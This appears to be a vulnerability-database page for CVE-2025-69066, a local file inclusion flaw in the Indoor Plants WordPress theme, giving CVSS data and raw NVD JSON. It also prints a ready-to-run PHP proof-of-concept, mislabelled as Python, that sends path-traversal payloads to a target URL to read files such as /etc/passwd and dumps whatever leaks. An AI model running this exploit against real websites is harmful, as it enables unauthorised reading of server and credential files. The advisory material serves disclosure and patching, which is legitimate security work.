Security Vulnerability Report
中文
CVE-2025-69066 CVSS 8.1 HIGH

CVE-2025-69066

Published: 2026-01-22 17:16:20
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Indoor Plants indoor-plants allows PHP Local File Inclusion.This issue affects Indoor Plants: from n/a through <= 1.2.7.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Indoor Plants Theme <= 1.2.7
Indoor Plants Theme (all versions from initial release)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-69066 PoC - Indoor Plants Theme LFI * Usage: php poc.php <target_url> [param_name] [file_to_read] * Example: php poc.php http://target.com/wp-admin/admin-ajax.php action /etc/passwd */ $target = $argv[1] ?? ''; $param = $argv[2] ?? 'action'; $file = $argv[3] ?? '/etc/passwd'; if (empty($target)) { echo "Usage: php poc.php <target_url> [param_name] [file_to_read]\n"; exit(1); } // Encode path traversal to bypass basic filters $payload = '../../../' . ltrim($file, '/'); $encoded_payload = urlencode($payload); // Try both direct and encoded traversal $urls = [ "{$target}?{$param}={$payload}", "{$target}?{$param}={$encoded_payload}", "{$target}&{$param}={$payload}" ]; foreach ($urls as $url) { echo "[*] Testing: {$url}\n"; $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => false, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => false ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); // Check if file content was returned if (strpos($response, 'root:') !== false || strpos($response, '<?php') !== false) { echo "[+] VULNERABLE! File content leaked:\n"; echo substr($response, 0, 1000) . "\n"; exit(0); } } echo "[-] Target may not be vulnerable or file not accessible\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69066", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:20.437", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Indoor Plants indoor-plants allows PHP Local File Inclusion.This issue affects Indoor Plants: from n/a through <= 1.2.7."}, {"lang": "es", "value": "Vulnerabilidad de control inadecuado del nombre de fichero para la declaración Include/Require en el programa PHP ('Inclusión Remota de Ficheros PHP') en AncoraThemes Indoor Plants indoor-plants permite la inclusión local de ficheros PHP. Este problema afecta a Indoor Plants: desde n/a hasta &lt;= 1.2.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/indoor-plants/vulnerability/wordpress-indoor-plants-theme-1-2-7-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}